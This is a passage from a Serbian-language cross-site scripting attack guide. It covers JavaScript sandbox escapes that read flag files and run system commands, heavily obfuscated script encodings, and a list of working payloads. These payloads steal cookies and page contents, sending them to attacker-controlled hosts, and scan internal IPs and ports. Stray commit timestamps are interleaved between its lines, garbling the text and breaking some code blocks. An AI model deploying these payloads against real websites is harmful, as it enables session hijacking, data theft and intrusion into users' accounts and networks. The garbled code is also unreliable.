Kada se koristi nešto poput ** `"neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>)` **, napadač može koristiti [**posebne zamene niski** ](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement ) da pokuša da zaobiđe neke zaštite: ``"123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))``
2023-01-05 13:05:03 +00:00
2024-02-18 14:58:46 +00:00
Na primer, u [**ovom objašnjenju** ](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA ), ovo je korišćeno da **izbegne JSON nisku** unutar skripte i izvrši proizvoljan kod.
2023-01-05 13:05:03 +00:00
2024-02-23 16:45:30 +00:00
### Chrome keširanje za XSS
2023-01-13 17:40:30 +00:00
2023-08-08 08:05:16 +00:00
{% content-ref url="chrome-cache-to-xss.md" %}
[chrome-cache-to-xss.md ](chrome-cache-to-xss.md )
{% endcontent-ref %}
2024-02-18 14:58:46 +00:00
### XS Jails bekstvo
2022-07-10 22:26:52 +00:00
2024-02-18 14:58:46 +00:00
Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
2022-07-10 22:26:52 +00:00
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
2024-02-10 13:11:20 +00:00
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
2022-07-10 22:26:52 +00:00
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
2024-02-10 13:11:20 +00:00
//Final solution
2022-07-10 22:26:52 +00:00
with(
2024-02-10 13:11:20 +00:00
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
2022-07-10 22:26:52 +00:00
with(this)
2024-02-10 13:11:20 +00:00
with(constructor)
constructor(source)()
2022-07-10 22:26:52 +00:00
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
2024-02-18 14:58:46 +00:00
Ako je **sve nedefinisano** pre izvršavanja nepoverenog koda (kao u [**ovom writeup-u** ](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves )), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepoverenog koda:
2022-07-10 22:26:52 +00:00
2024-02-18 14:58:46 +00:00
* Korišćenjem import()
2023-08-08 08:05:16 +00:00
```javascript
// although import "fs" doesn’ t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
```
2024-02-10 13:11:20 +00:00
* Pristupanje `require` indirektno
2023-08-08 08:05:16 +00:00
2024-02-18 14:58:46 +00:00
[Prema ovome ](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050 ) moduli su omotani od strane Node.js unutar funkcije, kao što je ovo:
2023-08-08 08:05:16 +00:00
```javascript
(function (exports, require, module, __filename, __dirname) {
2024-02-10 13:11:20 +00:00
// our actual module code
2023-08-08 08:05:16 +00:00
});
```
2024-02-18 14:58:46 +00:00
Dakle, ako iz tog modula možemo **pozvati drugu funkciju** , moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo ** `require` **:
2023-08-08 08:05:16 +00:00
{% code overflow="wrap" %}
```javascript
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
```
2024-02-18 14:58:46 +00:00
Na sličan način kao u prethodnom primeru, moguće je **koristiti rukovaoce greškama** da pristupite **omotaču** modula i dobijete funkciju ** `require` **:
2023-08-08 08:05:16 +00:00
```javascript
try {
2024-02-10 13:11:20 +00:00
null.f()
2023-08-08 08:05:16 +00:00
} catch (e) {
2024-02-10 13:11:20 +00:00
TypeError = e.constructor
2023-08-08 08:05:16 +00:00
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
2024-02-10 13:11:20 +00:00
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
2023-08-08 08:05:16 +00:00
}
function trigger() {
2024-02-10 13:11:20 +00:00
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
2023-08-08 08:05:16 +00:00
}
trigger()
```
2024-02-18 14:58:46 +00:00
### Obfuskacija i Napredni Bypass
2023-08-08 08:05:16 +00:00
2024-02-10 13:11:20 +00:00
* **Različite obfuskacije na jednoj stranici:** [**https://aem1k.com/aurebesh.js/** ](https://aem1k.com/aurebesh.js/ )
2020-07-15 15:43:14 +00:00
* [https://github.com/aemkei/katakana.js ](https://github.com/aemkei/katakana.js )
2022-02-02 15:35:20 +00:00
* [https://ooze.ninja/javascript/poisonjs ](https://ooze.ninja/javascript/poisonjs )
* [https://javascriptobfuscator.herokuapp.com/ ](https://javascriptobfuscator.herokuapp.com )
* [https://skalman.github.io/UglifyJS-online/ ](https://skalman.github.io/UglifyJS-online/ )
2021-10-18 11:21:18 +00:00
* [http://www.jsfuck.com/ ](http://www.jsfuck.com )
2024-02-18 14:58:46 +00:00
* Napredniji JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce ](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce )
2020-07-15 15:43:14 +00:00
* [http://utf-8.jp/public/jjencode.html ](http://utf-8.jp/public/jjencode.html )
2021-05-27 11:24:11 +00:00
* [https://utf-8.jp/public/aaencode.html ](https://utf-8.jp/public/aaencode.html )
2022-09-23 09:06:24 +00:00
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses ](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses )
2020-07-15 15:43:14 +00:00
```javascript
2021-05-27 11:24:11 +00:00
//Katana
2020-07-15 15:43:14 +00:00
< script > ( [ , ウ , , , , ア ] = [ ] + { } , [ ネ , ホ , ヌ , セ , , ミ , ハ , ヘ , , , ナ ] = [ ! ! ウ ] + ! ウ + ウ . ウ ) [ ツ = ア + ウ + ナ + ヘ + ネ + ホ + ヌ + ア + ネ + ウ + ホ ] [ ツ ] ( ミ + ハ + セ + ホ + ネ + '(-~ウ)' ) ( ) < / script >
```
```javascript
2024-02-10 13:11:20 +00:00
//JJencode
2020-07-15 15:43:14 +00:00
< script > $ =~ []; $ = { ___ :++ $ , $ : ( ! [] + "" )[ $ ], __$ :++ $ , $_$_ : ( ! [] + "" )[ $ ], _$_ :++ $ , $_$ : ({} + "" )[ $ ], $_$ : ( $ [ $ ] + "" )[ $ ], _$ :++ $ , $_ : ( ! "" + "" )[ $ ], $__ :++ $ , $_$ :++ $ , $__ : ({} + "" )[ $ ], $_ :++ $ , $ :++ $ , $___ :++ $ , $__$ :++ $ }; $ . $_ = ( $ . $_ = $ + "" )[ $ . $_$ ] + ( $ . _$ = $ . $_ [ $ . __$ ]) + ( $ . $ = ( $ . $ + "" )[ $ . __$ ]) + (( ! $ ) + "" )[ $ . _$ ] + ( $ . __ = $ . $_ [ $ . $_ ]) + ( $ . $ = ( ! "" + "" )[ $ . __$ ]) + ( $ . _ = ( ! "" + "" )[ $ . _$_ ]) + $ . $_ [ $ . $_$ ] + $ . __ + $ . _$ + $ . $ ; $ . $ = $ . $ + ( ! "" + "" )[ $ . _$ ] + $ . __ + $ . _ + $ . $ + $ . $ ; $ . $ = ( $ . ___ )[ $ . $_ ][ $ . $_ ]; $ . $ ( $ . $ ( $ . $ + " \"" + $ . $_$_ + ( ! [] + "" )[ $ . _$_ ] + $ . $_ + " \\" + $ . __$ + $ . $_ + $ . _$_ + $ . __ + "(" + $ . ___ + ")" + " \"" )())();</ script >
```
```javascript
//JSFuck
< script > ( + [ ] ) [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] ( ( ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( [ ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ [ + ! + [ ] ] + [ ! + [ ] + ! + [ ] + ! + [ ] + ! + [ ] ] ] + [ + [ ] ] + ( [ ] [ ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( [ ] [ [ ] ] + [ ] ) [ + ! + [ ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] + ( [ ] [ [ ] ] + [ ] ) [ + [ ] ] + ( [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! ! [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] [ ( ! [ ] + [ ] ) [ + [ ] ] + ( [ ! [ ] ] + [ ] [ [ ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! [ ] + [ ] ) [ ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + [ ] ] + ( ! + [ ] + [ ] ) [ ! + [ ] + ! + [ ] + ! + [ ] ] + ( ! + [ ] + [ ] ) [ + ! + [ ] ] ] ) [ + ! + [ ] + [ + [ ] ] ] + ( ! ! [ ] + [ ] ) [ + ! + [ ] ] ] + [ ] ) [ [ + ! + [ ] ] + [ ! + [ ] + ! + [ ] + ! + [ ] + ! + [ ] + ! + [ ] ] ] ) ( ) < / script >
```
2021-05-27 11:24:11 +00:00
```javascript
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
```
2023-03-03 16:32:17 +00:00
```javascript
// It's also possible to execute JS code only with the chars: []`+!${}
```
2024-02-18 14:58:46 +00:00
## XSS uobičajeni payload-ovi
2023-03-03 16:32:17 +00:00
2024-03-17 16:33:13 +00:00
### Više payload-ova u 1
2022-03-14 23:00:10 +00:00
{% content-ref url="steal-info-js.md" %}
[steal-info-js.md ](steal-info-js.md )
{% endcontent-ref %}
2024-03-17 16:33:13 +00:00
### Preuzimanje kolačića
2020-07-15 15:43:14 +00:00
```javascript
< img src = x onerror = this.src="http://<YOUR_SERVER_IP > /?c="+document.cookie>
< img src = x onerror = "location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie" >
< script > new Image ( ) . src = "http://<IP>/?c=" + encodeURI ( document . cookie ) ; < / script >
2021-05-27 11:59:23 +00:00
< script > new Audio ( ) . src = "http://<IP>/?c=" + escape ( document . cookie ) ; < / script >
2020-07-15 15:43:14 +00:00
< script > location . href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie < / script >
< script > location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie < / script >
< script > document . location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie < / script >
< script > document . location . href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie < / script >
< script > document . write ( '<img src="http://<YOUR_SERVER_IP>?c=' + document . cookie + '" />' ) < / script >
< script > window . location . assign ( 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie ) < / script >
< script > window [ 'location' ] [ 'assign' ] ( 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie ) < / script >
< script > window [ 'location' ] [ 'href' ] ( 'http://<YOUR_SERVER_IP>/Stealer.php?cookie=' + document . cookie ) < / script >
< script > document . location = [ "http://<YOUR_SERVER_IP>?c" , document . cookie ] . join ( ) < / script >
< script > var i = new Image ( ) ; i . src = "http://<YOUR_SERVER_IP>/?c=" + document . cookie < / script >
< script > window . location = "https://<SERVER_IP>/?c=" . concat ( document . cookie ) < / script >
< script > var xhttp = new XMLHttpRequest ( ) ; xhttp . open ( "GET" , "http://<SERVER_IP>/?c=" % 2 Bdocument . cookie , true ) ; xhttp . send ( ) ; < / script >
< script > eval ( atob ( 'ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp' ) ) ; < / script >
< script > fetch ( 'https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net' , { method : 'POST' , mode : 'no-cors' , body : document . cookie } ) ; < / script >
2020-09-22 09:07:48 +00:00
< script > navigator . sendBeacon ( 'https://ssrftest.com/x/AAAAA' , document . cookie ) < / script >
2020-07-15 15:43:14 +00:00
```
2021-05-27 11:59:23 +00:00
{% hint style="info" %}
2024-02-23 16:45:30 +00:00
Nećete moći pristupiti kolačićima iz JavaScript-a ako je postavljena zastava HTTPOnly u kolačiću. Ali ovde imate [neke načine za zaobilaženje ove zaštite ](../hacking-with-cookies/#httponly ) ako imate dovoljno sreće.
2021-05-27 11:59:23 +00:00
{% endhint %}
2024-02-10 13:11:20 +00:00
### Ukradi sadržaj stranice
2021-09-01 23:18:05 +00:00
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
2024-02-10 13:11:20 +00:00
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
2021-09-01 23:18:05 +00:00
}
xhr.open('GET', url, true);
xhr.send(null);
```
2024-02-18 14:58:46 +00:00
### Pronađite interne IP adrese
2021-11-26 23:32:24 +00:00
```html
< script >
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i< =255;i++){
2024-02-10 13:11:20 +00:00
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
2021-11-26 23:32:24 +00:00
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i< =n_threads; i++){
2024-02-10 13:11:20 +00:00
if(q.length) q.shift()();
2021-11-26 23:32:24 +00:00
}
function fetchUrl(url, wait){
2024-02-10 13:11:20 +00:00
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'& code='+encodeURIComponent(text)+'& '+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") & & q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
< / script >
```
### Port Skener (fetch)
2020-07-15 15:43:14 +00:00
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i< 1000 ; i + + ) { checkPort ( i ) ; }
```
2024-02-23 16:45:30 +00:00
### Port Skener (websockets)
2020-07-15 15:43:14 +00:00
